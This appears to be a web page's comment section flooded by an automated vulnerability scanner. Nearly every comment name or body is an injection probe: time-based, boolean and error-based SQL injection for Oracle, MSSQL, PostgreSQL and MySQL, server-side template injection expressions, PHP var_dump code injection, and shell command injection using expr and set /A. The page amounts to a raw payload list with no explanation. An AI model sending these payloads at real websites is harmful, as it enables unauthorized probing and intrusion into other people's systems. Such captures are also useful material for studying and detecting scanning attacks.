123456 says:

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('l',2)='l

123456 says:

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('l',0)='l

123456 says:

123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('d',2)

123456 says:

123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('r',0)

123456 says:

123456'and(select+1)>0waitfor/**/delay'0:0:2

123456 says:

123456'and(select+1)>0waitfor/**/delay'0:0:0

123456 says:

123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

123456 says:

123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

123456 says:

123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

123456 says:

123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

123456 says:

123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

123456 says:

123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

123456 says:

123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

123456 says:

123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

123456 says:

123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

123456 says:

(select*from(select+sleep(2)union/**/select+1)a)

123456 says:

(select*from(select+sleep(0)union/**/select+1)a)

123456 says:

123456"and"g"="t

123456 says:

123456"and"a"="a

123456 says:

123456'and's'='s

123456 says:

123456'and'd'='d

123456 says:

123456/**/and+3=6

123456 says:

123456/**/and+1=1

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('y',2)='y says:

123456

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('n',0)='n says:

123456

123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('d',2) says:

123456

123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('v',0) says:

123456

123456'and(select+1)>0waitfor/**/delay'0:0:2 says:

123456

123456'and(select+1)>0waitfor/**/delay'0:0:0 says:

123456

123456 says:

expr 983588530 + 862274136

123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/ says:

123456

123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/ says:

123456

123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0 says:

123456

123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0 says:

123456

123456/**/and(select+1/**/from/**/pg_sleep(3))>0/**/ says:

123456

123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/ says:

123456

123456 says:

123456'"\(

123456 says:

123456鎈'"\(

123456 says:

123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1595112588')))>'0

123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/ says:

123456

123456 says:

123456&set /A 827833737+945601054

123456"and(select*from(select+sleep(2))a/**/union/**/select+1)=" says:

123456

123456 says:

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1634316365')))

123456"and(select*from(select+sleep(0))a/**/union/**/select+1)=" says:

123456

123456 says:

123456/**/and/**/cast(md5('1733783503')as/**/int)>0

<%- 840957404+932312449 %> says:

123456

123456 says:

123456'and(select'1'from/**/cast(md5(1961472169)as/**/int))>'0

#set($c=969142768+938276825)${c}$c says:

123456

123456 says:

extractvalue(1,concat(char(126),md5(1409838336)))

123456 says:

'-var_dump(md5(490895773))-'

${(898304471+948595712)?c} says:

123456

123456 says:

123456"and/**/extractvalue(1,concat(char(126),md5(1538903626)))and"

123456'and(select*from(select+sleep(2))a/**/union/**/select+1)=' says:

123456

${848730764+922780973} says:

123456

123456 says:

123456'and/**/extractvalue(1,concat(char(126),md5(1773002958)))and'

123456'and(select*from(select+sleep(0))a/**/union/**/select+1)=' says:

123456

123456'"\( says:

123456

/*1*/{{825655982+854367822}} says:

123456

123456 says:

${@var_dump(md5(370571995))};

(select*from(select+sleep(2)union/**/select+1)a) says:

123456

'-var_dump(md5(270711335))-' says:

123456

123456鎈'"\( says:

123456

${@var_dump(md5(380913179))}; says:

123456

(select*from(select+sleep(0)union/**/select+1)a) says:

123456

123456 says:

<%- 997404338+938484782 %>

123456 says:

123456

123456 says:

#set($c=831880380+834295870)${c}$c

123456 says:

123456

123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1913059867')))>'0 says:

123456

123456 says:

${(906075410+916277328)?c}

123456 says:

123456

123456 says:

${981343313+876146852}

123456"and"g"="p says:

123456

123456 says:

123456$(expr 932530400 + 936078899)

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1609963781'))) says:

123456

123456"and"f"="f says:

123456

123456 says:

123456|expr 898546870 + 946309114

123456/**/and/**/cast(md5('1760001986')as/**/int)>0 says:

123456

123456'and'd'='n says:

123456

123456 says:

123456 expr 868117167 + 948891846

123456 says:

${838529492+854263776}

expr 957058537 + 922219550 says:

123456

123456'and'z'='z says:

123456

123456'and(select'1'from/**/cast(md5(1546254172)as/**/int))>'0 says:

123456

123456&set /A 818255671+901723924 says:

123456

123456/**/and+2=9 says:

123456

extractvalue(1,concat(char(126),md5(1739299939))) says:

123456

123456 says:

123456

123456$(expr 946035213 + 871134787) says:

123456

${962782829+843207141} says:

123456

123456 says:

123456

123456/**/and+0=0 says:

123456

123456|expr 811093041 + 910557434 says:

123456

123456 says:

/*1*/{{930198670+901626530}}

123456"and/**/extractvalue(1,concat(char(126),md5(1207882285)))and" says:

123456

123456 expr 859269281 + 910076048 says:

123456

123456 says:

123456

123456 says:

glgspixyataootbclepr

123456'and/**/extractvalue(1,concat(char(126),md5(1337994315)))and' says:

123456

123456 says:

123456

glgspixyataootbclepr says:

123456

123456 says:

123456

123456 says:

123456

123456 says:

123456

123456 says:

123456

123456 says:

123456

123456 says:

123456